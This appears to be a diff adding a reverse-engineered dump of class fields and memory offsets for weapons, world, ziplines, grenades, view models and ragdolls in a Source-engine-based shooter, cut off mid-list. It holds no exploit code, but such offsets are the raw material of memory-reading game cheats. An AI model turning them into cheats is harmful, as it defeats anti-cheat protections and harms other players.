+class DT_WeaponPlayerData + +``` +{ + m_moveSpread: Float, + m_spreadStartTime: Time, + m_spreadStartFracHip: Float, + m_spreadStartFracADS: Float, + m_kickSpreadHipfire: Float, + m_kickSpreadADS: Float, + m_kickTime: Time, + m_kickScaleBasePitch: Float, + m_kickScaleBaseYaw: Float, + m_kickPatternScaleBase: Float, + m_kickSpringHeatBaseTime: Time, + m_kickSpringHeatBaseValue: Float, + m_semiAutoTriggerHoldTime: Time, + m_semiAutoTriggerDown: Int, + m_pendingTriggerPull: Int, + m_semiAutoNeedsRechamber: Int, + m_pendingReloadAttempt: Int, + m_offhandHybridNormalMode: Int, + m_pendingoffhandHybridToss: Int, + m_fastHolster: Int, + m_didFirstDeploy: Int, + m_shouldCatch: Int, + m_clipModelIsHidden: Int, + m_segmentedReloadEndSeqRequired: Int, + m_reloadStartedEmpty: Int, + m_segmentedAnimStartedOneHanded: Int, + m_segmentedReloadCanRestartLoop: Int, + m_segmentedReloadLoopFireLocked: Int, + m_realtimeModCmds: DataTable, + m_realtimeModCmdHead: Int, + m_realtimeModCmdCount: Int, + m_customActivityAttachedModelIndex: Int, + m_customActivityAttachedModelAttachmentIndex: Int, + m_fireRateLerp_startTime: Time, + m_fireRateLerp_startFraction: Float, + m_fireRateLerp_stopTime: Time, + m_fireRateLerp_stopFraction: Float, + m_chargeAnimIndex: Int, + m_chargeAnimIndexOld: Int, + m_proScreen_owner: Int, + m_proScreen_int0: Int, + m_proScreen_int1: Int, + m_proScreen_int2: Int, + m_proScreen_float0: Float, + m_proScreen_float1: Float, + m_proScreen_float2: Float, + m_reloadMilestone: Int, + m_rechamberMilestone: Int, + m_cooldownMilestone: Int, + m_prevSeqWeight: Int, + m_fullReloadStartTime: Time, + m_scriptTime0: Time, + m_scriptFlags0: Int, + m_scriptInt0: Int, + m_curZoomFOV: Float, + m_targetZoomFOV: Float, + m_zoomFOVLerpTime: Float, + m_zoomFOVLerpEndTime: Time, + m_latestDryfireTime: Time, + m_requestedAttackEndTime: Time, + m_currentAltFireAnimIndex: Int, + m_legendaryModelIndex: Int, + m_charmModelIndex: Int, + m_charmAttachment: Int, + m_charmScriptIndex: Int, +} +``` + +### Offsets + +``` +DT_WeaponPlayerData!0x0008 m_moveSpread +DT_WeaponPlayerData!0x000c m_spreadStartTime +DT_WeaponPlayerData!0x0010 m_spreadStartFracHip +DT_WeaponPlayerData!0x0014 m_spreadStartFracADS +DT_WeaponPlayerData!0x0018 m_kickSpreadHipfire +DT_WeaponPlayerData!0x001c m_kickSpreadADS +DT_WeaponPlayerData!0x0020 m_kickTime +DT_WeaponPlayerData!0x0024 m_kickScaleBasePitch +DT_WeaponPlayerData!0x0028 m_kickScaleBaseYaw +DT_WeaponPlayerData!0x002c m_kickPatternScaleBase +DT_WeaponPlayerData!0x0030 m_kickSpringHeatBaseTime +DT_WeaponPlayerData!0x0034 m_kickSpringHeatBaseValue +DT_WeaponPlayerData!0x0038 m_semiAutoTriggerHoldTime +DT_WeaponPlayerData!0x003c m_semiAutoTriggerDown +DT_WeaponPlayerData!0x003d m_pendingTriggerPull +DT_WeaponPlayerData!0x003e m_semiAutoNeedsRechamber +DT_WeaponPlayerData!0x003f m_pendingReloadAttempt +DT_WeaponPlayerData!0x0040 m_offhandHybridNormalMode +DT_WeaponPlayerData!0x0041 m_pendingoffhandHybridToss +DT_WeaponPlayerData!0x0042 m_fastHolster +DT_WeaponPlayerData!0x0043 m_didFirstDeploy +DT_WeaponPlayerData!0x0044 m_shouldCatch +DT_WeaponPlayerData!0x0045 m_clipModelIsHidden +DT_WeaponPlayerData!0x0046 m_segmentedReloadEndSeqRequired +DT_WeaponPlayerData!0x0047 m_reloadStartedEmpty +DT_WeaponPlayerData!0x0048 m_segmentedAnimStartedOneHanded +DT_WeaponPlayerData!0x0049 m_segmentedReloadCanRestartLoop +DT_WeaponPlayerData!0x004a m_segmentedReloadLoopFireLocked +DT_WeaponPlayerData!0x004b m_realtimeModCmds +DT_WeaponPlayerData!0x0053 m_realtimeModCmdHead +DT_WeaponPlayerData!0x0054 m_realtimeModCmdCount +DT_WeaponPlayerData!0x0058 m_customActivityAttachedModelIndex +DT_WeaponPlayerData!0x005c m_customActivityAttachedModelAttachmentIndex +DT_WeaponPlayerData!0x0060 m_fireRateLerp_startTime +DT_WeaponPlayerData!0x0064 m_fireRateLerp_startFraction +DT_WeaponPlayerData!0x0068 m_fireRateLerp_stopTime +DT_WeaponPlayerData!0x006c m_fireRateLerp_stopFraction +DT_WeaponPlayerData!0x0070 m_chargeAnimIndex +DT_WeaponPlayerData!0x0074 m_chargeAnimIndexOld +DT_WeaponPlayerData!0x0078 m_proScreen_owner +DT_WeaponPlayerData!0x007c m_proScreen_int0 +DT_WeaponPlayerData!0x0080 m_proScreen_int1 +DT_WeaponPlayerData!0x0084 m_proScreen_int2 +DT_WeaponPlayerData!0x0088 m_proScreen_float0 +DT_WeaponPlayerData!0x008c m_proScreen_float1 +DT_WeaponPlayerData!0x0090 m_proScreen_float2 +DT_WeaponPlayerData!0x0094 m_reloadMilestone +DT_WeaponPlayerData!0x0098 m_rechamberMilestone +DT_WeaponPlayerData!0x009c m_cooldownMilestone +DT_WeaponPlayerData!0x00a0 m_prevSeqWeight +DT_WeaponPlayerData!0x00a4 m_fullReloadStartTime +DT_WeaponPlayerData!0x00a8 m_scriptTime0 +DT_WeaponPlayerData!0x00ac m_scriptFlags0 +DT_WeaponPlayerData!0x00b0 m_scriptInt0 +DT_WeaponPlayerData!0x00b4 m_curZoomFOV +DT_WeaponPlayerData!0x00b8 m_targetZoomFOV +DT_WeaponPlayerData!0x00bc m_zoomFOVLerpTime +DT_WeaponPlayerData!0x00c0 m_zoomFOVLerpEndTime +DT_WeaponPlayerData!0x00c4 m_latestDryfireTime +DT_WeaponPlayerData!0x00c8 m_requestedAttackEndTime +DT_WeaponPlayerData!0x00cc m_currentAltFireAnimIndex +DT_WeaponPlayerData!0x00d0 m_legendaryModelIndex +DT_WeaponPlayerData!0x00d4 m_charmModelIndex +DT_WeaponPlayerData!0x00d8 m_charmAttachment +DT_WeaponPlayerData!0x00dc m_charmScriptIndex +``` +
+
+class DT_WeaponX extends DT_BaseAnimating + +``` +{ + LocalWeaponData: DT_WeaponX_LocalWeaponData, + predictingClientOnly: DT_WeaponX_PredictingClientOnly, + m_networkedFlags: Int, + m_bClientSideAnimation: Int, + m_weaponOwner: Int, + m_worldModelIndexOverride: Int, + m_iWorldModelIndex: Int, + m_holsterModelIndex: Int, + m_droppedModelIndex: Int, + m_nIdealSequence: Int, + m_IdealActivity: Int, + m_weaponActivity: Int, + m_ActiveState: Int, + m_weapState: Int, + m_allowedToUse: Int, + m_discarded: Int, + m_forcedADS: Int, + m_tossRelease: Int, + m_customActivity: Int, + m_customActivitySequence: Int, + m_customActivityOwner: Int, + m_customActivityEndTime: Time, + m_customActivityFlags: Int, + m_playerData: DT_WeaponPlayerData, + m_lastTossedGrenade: Int, + m_targetingLaserEnabledScript: Int, + m_needsReloadCheck: Int, + m_needsEmptyCycleCheck: Int, + m_skinOverride: Int, + m_skinOverrideIsValid: Int, + m_chargeStartTime: Time, + m_chargeEndTime: Time, + m_lastChargeFrac: Float, + m_sustainedDischargeEndTime: Time, + m_sustainedLaserCurrentSpread: Float, + m_sustainedDischargeIsInPrimaryAttack: Int, + m_sustainedLaserNextRandomSeed: Int, + m_modBitfieldFromPlayer: Int, + m_modBitfieldInternal: Int, + m_modBitfieldCurrent: Int, + m_curSharedEnergyCost: Int, + m_grappleWeaponNeedsDryfire: Int, + m_scriptActivated: Int, + m_isLoadoutPickup: Int, + m_utilityEnt: Int, + m_weaponNameIndex: Int, + m_shouldPlayIdleAnims: Int, + m_oaActiveOverride: Int, + m_parentTurret: Int, +} +``` + +### Offsets + +``` +DT_WeaponX!0x0000 LocalWeaponData +DT_WeaponX!0x0000 predictingClientOnly +DT_WeaponX!0x03d4 m_networkedFlags +DT_WeaponX!0x1020 m_bClientSideAnimation +DT_WeaponX!0x1600 m_weaponOwner +DT_WeaponX!0x1614 m_worldModelIndexOverride +DT_WeaponX!0x1618 m_iWorldModelIndex +DT_WeaponX!0x161c m_holsterModelIndex +DT_WeaponX!0x1620 m_droppedModelIndex +DT_WeaponX!0x1624 m_nIdealSequence +DT_WeaponX!0x1628 m_IdealActivity +DT_WeaponX!0x162c m_weaponActivity +DT_WeaponX!0x1630 m_ActiveState +DT_WeaponX!0x1644 m_weapState +DT_WeaponX!0x1648 m_allowedToUse +DT_WeaponX!0x1649 m_discarded +DT_WeaponX!0x164c m_forcedADS +DT_WeaponX!0x1650 m_tossRelease +DT_WeaponX!0x1654 m_customActivity +DT_WeaponX!0x1658 m_customActivitySequence +DT_WeaponX!0x165c m_customActivityOwner +DT_WeaponX!0x1660 m_customActivityEndTime +DT_WeaponX!0x1664 m_customActivityFlags +DT_WeaponX!0x1668 m_playerData +DT_WeaponX!0x1748 m_lastTossedGrenade +DT_WeaponX!0x174c m_targetingLaserEnabledScript +DT_WeaponX!0x174d m_needsReloadCheck +DT_WeaponX!0x174e m_needsEmptyCycleCheck +DT_WeaponX!0x1750 m_skinOverride +DT_WeaponX!0x1754 m_skinOverrideIsValid +DT_WeaponX!0x1758 m_chargeStartTime +DT_WeaponX!0x175c m_chargeEndTime +DT_WeaponX!0x1760 m_lastChargeFrac +DT_WeaponX!0x1788 m_sustainedDischargeEndTime +DT_WeaponX!0x178c m_sustainedLaserCurrentSpread +DT_WeaponX!0x1790 m_sustainedDischargeIsInPrimaryAttack +DT_WeaponX!0x1791 m_sustainedLaserNextRandomSeed +DT_WeaponX!0x1794 m_modBitfieldFromPlayer +DT_WeaponX!0x1798 m_modBitfieldInternal +DT_WeaponX!0x179c m_modBitfieldCurrent +DT_WeaponX!0x17a0 m_curSharedEnergyCost +DT_WeaponX!0x17a4 m_grappleWeaponNeedsDryfire +DT_WeaponX!0x17a5 m_scriptActivated +DT_WeaponX!0x17a6 m_isLoadoutPickup +DT_WeaponX!0x17a8 m_utilityEnt +DT_WeaponX!0x17b0 m_weaponNameIndex +DT_WeaponX!0x17bc m_shouldPlayIdleAnims +DT_WeaponX!0x17c0 m_oaActiveOverride +DT_WeaponX!0x17c4 m_parentTurret +``` +
+
+class DT_WeaponX_LocalWeaponData + +``` +{ + m_nNextThinkTick: Int, + m_lastPrimaryAttack: Time, + m_nextReadyTime: Time, + m_nextPrimaryAttackTime: Time, + m_attackTimeThisFrame: Time, + m_ammoInClip: Int, + m_ammoInStockpile: Int, + m_lifetimeShots: Int, + m_flTimeWeaponIdle: Time, + m_bInReload: Int, +} +``` + +### Offsets + +``` +DT_WeaponX_LocalWeaponData!0x054c m_nNextThinkTick +DT_WeaponX_LocalWeaponData!0x1604 m_lastPrimaryAttack +DT_WeaponX_LocalWeaponData!0x1608 m_nextReadyTime +DT_WeaponX_LocalWeaponData!0x160c m_nextPrimaryAttackTime +DT_WeaponX_LocalWeaponData!0x1610 m_attackTimeThisFrame +DT_WeaponX_LocalWeaponData!0x1634 m_ammoInClip +DT_WeaponX_LocalWeaponData!0x1638 m_ammoInStockpile +DT_WeaponX_LocalWeaponData!0x163c m_lifetimeShots +DT_WeaponX_LocalWeaponData!0x1640 m_flTimeWeaponIdle +DT_WeaponX_LocalWeaponData!0x164a m_bInReload +``` +
+
+class DT_WeaponX_PredictingClientOnly + +``` +{ + m_lastRegenTime: Time, + m_cooldownEndTime: Time, + m_stockPileWasDraining: Int, + m_weaponIsCharging: Int, + m_weaponChargeLevelIncreasedAnimPlaying: Int, + m_lastChargeLevel: Int, + m_chargeEnergyDepleteStepCounter: Int, + m_burstFireCount: Int, + m_burstFireIndex: Int, + m_shotIndexForSpread: Int, + m_shotCount: Int, + m_animModelIndexPredictingClientOnly: Int, + m_animSequencePredictingClientOnly: Int, +} +``` + +### Offsets + +``` +DT_WeaponX_PredictingClientOnly!0x1764 m_lastRegenTime +DT_WeaponX_PredictingClientOnly!0x1768 m_cooldownEndTime +DT_WeaponX_PredictingClientOnly!0x176c m_stockPileWasDraining +DT_WeaponX_PredictingClientOnly!0x176d m_weaponIsCharging +DT_WeaponX_PredictingClientOnly!0x176e m_weaponChargeLevelIncreasedAnimPlaying +DT_WeaponX_PredictingClientOnly!0x1770 m_lastChargeLevel +DT_WeaponX_PredictingClientOnly!0x1774 m_chargeEnergyDepleteStepCounter +DT_WeaponX_PredictingClientOnly!0x1778 m_burstFireCount +DT_WeaponX_PredictingClientOnly!0x177c m_burstFireIndex +DT_WeaponX_PredictingClientOnly!0x1780 m_shotIndexForSpread +DT_WeaponX_PredictingClientOnly!0x1784 m_shotCount +DT_WeaponX_PredictingClientOnly!0x17b4 m_animModelIndexPredictingClientOnly +DT_WeaponX_PredictingClientOnly!0x17b8 m_animSequencePredictingClientOnly +``` +
+
+class DT_World extends DT_BaseEntity + +``` +{ + m_WorldMins: Vector, + m_WorldMaxs: Vector, + m_bStartDark: Int, + m_statusEffectsGenerationNV: Int, + m_worldFlags: Int, + m_timeshiftArmDeviceSkin: Int, + m_spTitanLoadoutUnlocks: Int, + m_deathFieldIsActive: DataTable, + m_deathFieldOrigin: DataTable, + m_deathFieldRadiusStart: DataTable, + m_deathFieldRadiusEnd: DataTable, + m_deathFieldTimeStart: DataTable, + m_deathFieldTimeEnd: DataTable, + m_teamRelationRulesForPVE: Int, + m_civilTeamsMaskA: DataTable, + m_civilTeamsMaskB: DataTable, + m_rabidTeamsMask: DataTable, +} +``` + +### Offsets + +``` +DT_World!0x0a40 m_WorldMins +DT_World!0x0a4c m_WorldMaxs +DT_World!0x0a58 m_bStartDark +DT_World!0x0a6c m_statusEffectsGenerationNV +DT_World!0x0a74 m_worldFlags +DT_World!0x0a78 m_timeshiftArmDeviceSkin +DT_World!0x0a7c m_spTitanLoadoutUnlocks +DT_World!0x0a80 m_deathFieldIsActive +DT_World!0x0ac0 m_deathFieldOrigin +DT_World!0x0dc0 m_deathFieldRadiusStart +DT_World!0x0ec0 m_deathFieldRadiusEnd +DT_World!0x0fc0 m_deathFieldTimeStart +DT_World!0x10c0 m_deathFieldTimeEnd +DT_World!0x11c0 m_teamRelationRulesForPVE +DT_World!0x11c8 m_civilTeamsMaskA +DT_World!0x11d8 m_civilTeamsMaskB +DT_World!0x11f0 m_rabidTeamsMask +``` +
+
+class DT_Zipline extends DT_BaseEntity + +``` +{ + m_numZiplinePoints: Int, + m_ziplinePositions: DataTable, + m_ziplinePhysics: DT_ZiplinePhysics, + m_ziplineMaterialIndex: Int, + m_prevZipline: Int, + m_nextZipline: Int, + m_detachEndOnUse: Int, + m_dropToBottom: Int, + m_ziplineAutoDetachDistance: Float, + m_ziplineVerticalPushOffInDirectionX: Int, + m_ziplineVerticalPreserveVelocity: Int, + m_ziplineWidth: Float, + m_ziplineEnabled: Int, + m_ziplineRestPositions: DataTable, + m_numZiplineRestPositions: Int, + m_ziplineFadeDist: Float, + m_ziplineSpeedScale: Float, +} +``` + +### Offsets + +``` +DT_Zipline!0x0008 m_numZiplinePoints +DT_Zipline!0x000c m_ziplinePositions +DT_Zipline!0x0a40 m_ziplinePhysics +DT_Zipline!0x0d88 m_ziplineMaterialIndex +DT_Zipline!0x0d8c m_prevZipline +DT_Zipline!0x0d90 m_nextZipline +DT_Zipline!0x0d94 m_detachEndOnUse +DT_Zipline!0x0d95 m_dropToBottom +DT_Zipline!0x0d98 m_ziplineAutoDetachDistance +DT_Zipline!0x0d9c m_ziplineVerticalPushOffInDirectionX +DT_Zipline!0x0d9d m_ziplineVerticalPreserveVelocity +DT_Zipline!0x0da0 m_ziplineWidth +DT_Zipline!0x0da4 m_ziplineEnabled +DT_Zipline!0x0da8 m_ziplineRestPositions +DT_Zipline!0x0e68 m_numZiplineRestPositions +DT_Zipline!0x0e6c m_ziplineFadeDist +DT_Zipline!0x0e70 m_ziplineSpeedScale +``` +
+
+class DT_ZiplinePhysics + +``` +{ + ziplinephysicsexclusive: DT_ZiplinePhysicsExlusive, + m_isInit: Int, + m_ziplineType: Int, + m_ziplineStart: Vector, + m_ziplineEnd: Vector, + m_springDistance: Float, + m_springDistanceScale: Float, + m_outerZiplineEntity: Int, + m_attachedEntities: DataTable, + m_numAttachedEntities: Int, + m_ziplineOwner: Int, +} +``` + +### Offsets + +``` +DT_ZiplinePhysics!0x0000 ziplinephysicsexclusive +DT_ZiplinePhysics!0x0008 m_isInit +DT_ZiplinePhysics!0x000c m_ziplineType +DT_ZiplinePhysics!0x0010 m_ziplineStart +DT_ZiplinePhysics!0x001c m_ziplineEnd +DT_ZiplinePhysics!0x022c m_springDistance +DT_ZiplinePhysics!0x0230 m_springDistanceScale +DT_ZiplinePhysics!0x0238 m_outerZiplineEntity +DT_ZiplinePhysics!0x0240 m_attachedEntities +DT_ZiplinePhysics!0x0340 m_numAttachedEntities +DT_ZiplinePhysics!0x0344 m_ziplineOwner +``` +
+
+class DT_ZiplinePhysicsExlusive + +``` +{ + m_nodes: DataTable, + m_numNodes: Int, + m_remainingUnsimulatedTime: Float, +} +``` + +### Offsets + +``` +DT_ZiplinePhysicsExlusive!0x0028 m_nodes +DT_ZiplinePhysicsExlusive!0x0228 m_numNodes +DT_ZiplinePhysicsExlusive!0x0234 m_remainingUnsimulatedTime +``` +
+ +## Datamaps + +
+class CBaseGrenade extends C_BaseAnimating + +``` +{ + m_vecVelocity: Vector, + m_doesExplode: Bool, + m_DmgRadius: Bool, + m_grenadeCreationTime: Float, + m_grenadeCreationOrigin: Vector, + m_useMaskAbility: Bool, + m_grenadeStatusFlags: Int, + m_flDamage: Float, + m_hThrower: EHANDLE, +} +``` + +### Offsets + +``` +CBaseGrenade!0x0460 m_vecVelocity +CBaseGrenade!0x2c41 m_doesExplode +CBaseGrenade!0x2c44 m_DmgRadius +CBaseGrenade!0x2c54 m_grenadeCreationTime +CBaseGrenade!0x2c58 m_grenadeCreationOrigin +CBaseGrenade!0x2c64 m_useMaskAbility +CBaseGrenade!0x2c68 m_grenadeStatusFlags +CBaseGrenade!0x2cf0 m_flDamage +CBaseGrenade!0x2cf4 m_hThrower +``` +
+
+class CBaseViewModel + +``` +{ + m_currentFrame.modelIndex: Short, + m_currentFrame.animCycle: Float, + m_angAbsRotation: Vector, + m_vecAbsOrigin: Vector, + m_localOrigin: Vector, + m_localAngles: Vector, + m_fEffects: Int, + m_angNetworkAngles: Vector, + m_nBody: Int, + m_nResetEventsParity: Int, + m_bSequenceFinished: Bool, + m_currentFrameBaseAnimating.animStartTime: Float, + m_currentFrameBaseAnimating.animStartCycle: Float, + m_currentFrameBaseAnimating.animPlaybackRate: Float, + m_currentFrameBaseAnimating.animModelIndex: Int, + m_currentFrameBaseAnimating.animSequence: Int, + m_currentFrameBaseAnimating.animSequenceParity: Int, + m_currentFrameBaseAnimating.m_flPoseParameters: Float, + m_currentFrameAnimatingOverlay.animOverlayIsActive: Bool, + m_currentFrameAnimatingOverlay.animOverlayStartTime: Float, + m_currentFrameAnimatingOverlay.animOverlayStartCycle: Float, + m_currentFrameAnimatingOverlay.animOverlayPlaybackRate: Float, + m_currentFrameAnimatingOverlay.animOverlayModelIndex: Int, + m_currentFrameAnimatingOverlay.animOverlaySequence: Int, + m_currentFrameAnimatingOverlay.animOverlayWeight: Float, + m_currentFrameAnimatingOverlay.animOverlayAnimTime: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeInDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayCycle: Float, + m_viewModelOwner: EHANDLE, + m_projectileIsVisible: Bool, + m_bBlockEventLayer: Bool, + m_isAdsTransition: Bool, + m_hWeapon: EHANDLE, + m_tracerAttachments: Int, + m_tracerAttachments: Int, + m_tracerAttachmentsScoped: Int, + m_tracerAttachmentsScoped: Int, +} +``` + +### Offsets + +``` +CBaseViewModel!0x00a8 m_currentFrame.modelIndex +CBaseViewModel!0x00c4 m_currentFrame.animCycle +CBaseViewModel!0x0134 m_angAbsRotation +CBaseViewModel!0x014c m_vecAbsOrigin +CBaseViewModel!0x0158 m_localOrigin +CBaseViewModel!0x0164 m_localAngles +CBaseViewModel!0x042c m_fEffects +CBaseViewModel!0x046c m_angNetworkAngles +CBaseViewModel!0x0e90 m_nBody +CBaseViewModel!0x0e9c m_nResetEventsParity +CBaseViewModel!0x0f34 m_bSequenceFinished +CBaseViewModel!0x0f4c m_currentFrameBaseAnimating.animStartTime +CBaseViewModel!0x0f50 m_currentFrameBaseAnimating.animStartCycle +CBaseViewModel!0x0f54 m_currentFrameBaseAnimating.animPlaybackRate +CBaseViewModel!0x0f5c m_currentFrameBaseAnimating.animModelIndex +CBaseViewModel!0x0f60 m_currentFrameBaseAnimating.animSequence +CBaseViewModel!0x0f64 m_currentFrameBaseAnimating.animSequenceParity +CBaseViewModel!0x0f68 m_currentFrameBaseAnimating.m_flPoseParameters +CBaseViewModel!0x1724 m_currentFrameAnimatingOverlay.animOverlayIsActive +CBaseViewModel!0x1730 m_currentFrameAnimatingOverlay.animOverlayStartTime +CBaseViewModel!0x1754 m_currentFrameAnimatingOverlay.animOverlayStartCycle +CBaseViewModel!0x1778 m_currentFrameAnimatingOverlay.animOverlayPlaybackRate +CBaseViewModel!0x179c m_currentFrameAnimatingOverlay.animOverlayModelIndex +CBaseViewModel!0x17c0 m_currentFrameAnimatingOverlay.animOverlaySequence +CBaseViewModel!0x17e4 m_currentFrameAnimatingOverlay.animOverlayWeight +CBaseViewModel!0x182c m_currentFrameAnimatingOverlay.animOverlayAnimTime +CBaseViewModel!0x1850 m_currentFrameAnimatingOverlay.animOverlayFadeInDuration +CBaseViewModel!0x1874 m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration +CBaseViewModel!0x1898 m_currentFrameAnimatingOverlay.animOverlayCycle +CBaseViewModel!0x19d8 m_viewModelOwner +CBaseViewModel!0x19dc m_projectileIsVisible +CBaseViewModel!0x1dc0 m_bBlockEventLayer +CBaseViewModel!0x1dc1 m_isAdsTransition +CBaseViewModel!0x1dc4 m_hWeapon +CBaseViewModel!0x1dc8 m_tracerAttachments +CBaseViewModel!0x1dc8 m_tracerAttachments +CBaseViewModel!0x1dd0 m_tracerAttachmentsScoped +CBaseViewModel!0x1dd0 m_tracerAttachmentsScoped +``` +
+
+class CCollisionProperty + +``` +{ + m_vecMins: Vector, + m_vecMaxs: Vector, + m_usSolidFlags: Int, + m_nSolidType: Char, + m_triggerBloat: Char, + m_collisionDetailLevel: Char, +} +``` + +### Offsets + +``` +CCollisionProperty!0x0010 m_vecMins +CCollisionProperty!0x001c m_vecMaxs +CCollisionProperty!0x0028 m_usSolidFlags +CCollisionProperty!0x002c m_nSolidType +CCollisionProperty!0x002d m_triggerBloat +CCollisionProperty!0x002e m_collisionDetailLevel +``` +
+
+class CGrappleHook + +``` +{ + m_pMoveParent: EHANDLE, + m_localOrigin: Vector, + m_localAngles: Vector, + m_visibilityFlags: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_parentAttachmentHitbox: Int, + m_grappleZipline: EHANDLE, +} +``` + +### Offsets + +``` +CGrappleHook!0x0118 m_pMoveParent +CGrappleHook!0x0158 m_localOrigin +CGrappleHook!0x0164 m_localAngles +CGrappleHook!0x0428 m_visibilityFlags +CGrappleHook!0x082c m_parentAttachmentType +CGrappleHook!0x0830 m_parentAttachmentIndex +CGrappleHook!0x0834 m_parentAttachmentHitbox +CGrappleHook!0x1600 m_grappleZipline +``` +
+
+class CPlayerShared + +``` +{ + m_nPlayerCond: Int, +} +``` + +### Offsets + +``` +CPlayerShared!0x0008 m_nPlayerCond +``` +
+
+class CPlayerState + +``` +{ + deadflag: Bool, +} +``` + +### Offsets + +``` +CPlayerState!0x006c deadflag +``` +
+
+class CPredictedFirstPersonProxy extends C_BaseAnimating + +``` +{ + m_localOrigin: Vector, + m_localAngles: Vector, + m_vecVelocity: Vector, + m_angNetworkAngles: Vector, + m_SequenceTransitioner: C_SequenceTransitioner, + m_camoIndex: Int, +} +``` + +### Offsets + +``` +CPredictedFirstPersonProxy!0x0158 m_localOrigin +CPredictedFirstPersonProxy!0x0164 m_localAngles +CPredictedFirstPersonProxy!0x0460 m_vecVelocity +CPredictedFirstPersonProxy!0x046c m_angNetworkAngles +CPredictedFirstPersonProxy!0x0c00 m_SequenceTransitioner +CPredictedFirstPersonProxy!0x0e94 m_camoIndex +``` +
+
+class CRagdoll + +``` +{ + m_ragdoll.listCount: Int, + m_ragdoll.allowStretch: Bool, + m_ragdoll.list[0 + 0].originParentSpace: Vector, + m_ragdoll.list[0 + 0].pObject: Custom, + m_ragdoll.list[0 + 0].pConstraint: Custom, + m_ragdoll.list[0 + 0].parentIndex: Int, + m_ragdoll.list[0 + 1].originParentSpace: Vector, + m_ragdoll.list[0 + 1].pObject: Custom, + m_ragdoll.list[0 + 1].pConstraint: Custom, + m_ragdoll.list[0 + 1].parentIndex: Int, + m_ragdoll.list[0 + 2].originParentSpace: Vector, + m_ragdoll.list[0 + 2].pObject: Custom, + m_ragdoll.list[0 + 2].pConstraint: Custom, + m_ragdoll.list[0 + 2].parentIndex: Int, + m_ragdoll.list[0 + 3].originParentSpace: Vector, + m_ragdoll.list[0 + 3].pObject: Custom, + m_ragdoll.list[0 + 3].pConstraint: Custom, + m_ragdoll.list[0 + 3].parentIndex: Int, + m_ragdoll.list[0 + 4].originParentSpace: Vector, + m_ragdoll.list[0 + 4].pObject: Custom, + m_ragdoll.list[0 + 4].pConstraint: Custom, + m_ragdoll.list[0 + 4].parentIndex: Int, + m_ragdoll.list[0 + 5].originParentSpace: Vector, + m_ragdoll.list[0 + 5].pObject: Custom, + m_ragdoll.list[0 + 5].pConstraint: Custom, + m_ragdoll.list[0 + 5].parentIndex: Int, + m_ragdoll.list[0 + 6].originParentSpace: Vector, + m_ragdoll.list[0 + 6].pObject: Custom, + m_ragdoll.list[0 + 6].pConstraint: Custom, + m_ragdoll.list[0 + 6].parentIndex: Int, + m_ragdoll.list[0 + 7].originParentSpace: Vector, + m_ragdoll.list[0 + 7].pObject: Custom, + m_ragdoll.list[0 + 7].pConstraint: Custom, + m_ragdoll.list[0 + 7].parentIndex: Int, + m_ragdoll.list[8 + 0].originParentSpace: Vector, + m_ragdoll.list[8 + 0].pObject: Custom, + m_ragdoll.list[8 + 0].pConstraint: Custom, + m_ragdoll.list[8 + 0].parentIndex: Int, + m_ragdoll.list[8 + 1].originParentSpace: Vector, + m_ragdoll.list[8 + 1].pObject: Custom, + m_ragdoll.list[8 + 1].pConstraint: Custom, + m_ragdoll.list[8 + 1].parentIndex: Int, + m_ragdoll.list[8 + 2].originParentSpace: Vector, + m_ragdoll.list[8 + 2].pObject: Custom, + m_ragdoll.list[8 + 2].pConstraint: Custom, + m_ragdoll.list[8 + 2].parentIndex: Int, + m_ragdoll.list[8 + 3].originParentSpace: Vector, + m_ragdoll.list[8 + 3].pObject: Custom, + m_ragdoll.list[8 + 3].pConstraint: Custom, + m_ragdoll.list[8 + 3].parentIndex: Int, + m_ragdoll.list[8 + 4].originParentSpace: Vector, + m_ragdoll.list[8 + 4].pObject: Custom, + m_ragdoll.list[8 + 4].pConstraint: Custom, + m_ragdoll.list[8 + 4].parentIndex: Int, + m_ragdoll.list[8 + 5].originParentSpace: Vector, + m_ragdoll.list[8 + 5].pObject: Custom, + m_ragdoll.list[8 + 5].pConstraint: Custom, + m_ragdoll.list[8 + 5].parentIndex: Int, + m_ragdoll.list[8 + 6].originParentSpace: Vector, + m_ragdoll.list[8 + 6].pObject: Custom, + m_ragdoll.list[8 + 6].pConstraint: Custom, + m_ragdoll.list[8 + 6].parentIndex: Int, + m_ragdoll.list[8 + 7].originParentSpace: Vector, + m_ragdoll.list[8 + 7].pObject: Custom, + m_ragdoll.list[8 + 7].pConstraint: Custom, + m_ragdoll.list[8 + 7].parentIndex: Int, + m_ragdoll.list[16 + 0].originParentSpace: Vector, + m_ragdoll.list[16 + 0].pObject: Custom, + m_ragdoll.list[16 + 0].pConstraint: Custom, + m_ragdoll.list[16 + 0].parentIndex: Int, + m_ragdoll.list[16 + 1].originParentSpace: Vector, + m_ragdoll.list[16 + 1].pObject: Custom, + m_ragdoll.list[16 + 1].pConstraint: Custom, + m_ragdoll.list[16 + 1].parentIndex: Int, + m_ragdoll.list[16 + 2].originParentSpace: Vector, + m_ragdoll.list[16 + 2].pObject: Custom, + m_ragdoll.list[16 + 2].pConstraint: Custom, + m_ragdoll.list[16 + 2].parentIndex: Int, + m_ragdoll.list[16 + 3].originParentSpace: Vector, + m_ragdoll.list[16 + 3].pObject: Custom, + m_ragdoll.list[16 + 3].pConstraint: Custom, + m_ragdoll.list[16 + 3].parentIndex: Int, + m_ragdoll.list[16 + 4].originParentSpace: Vector, + m_ragdoll.list[16 + 4].pObject: Custom, + m_ragdoll.list[16 + 4].pConstraint: Custom, + m_ragdoll.list[16 + 4].parentIndex: Int, + m_ragdoll.list[16 + 5].originParentSpace: Vector, + m_ragdoll.list[16 + 5].pObject: Custom, + m_ragdoll.list[16 + 5].pConstraint: Custom, + m_ragdoll.list[16 + 5].parentIndex: Int, + m_ragdoll.list[16 + 6].originParentSpace: Vector, + m_ragdoll.list[16 + 6].pObject: Custom, + m_ragdoll.list[16 + 6].pConstraint: Custom, + m_ragdoll.list[16 + 6].parentIndex: Int, + m_ragdoll.list[16 + 7].originParentSpace: Vector, + m_ragdoll.list[16 + 7].pObject: Custom, + m_ragdoll.list[16 + 7].pConstraint: Custom, + m_ragdoll.list[16 + 7].parentIndex: Int, + m_ragdoll.list[24 + 0].originParentSpace: Vector, + m_ragdoll.list[24 + 0].pObject: Custom, + m_ragdoll.list[24 + 0].pConstraint: Custom, + 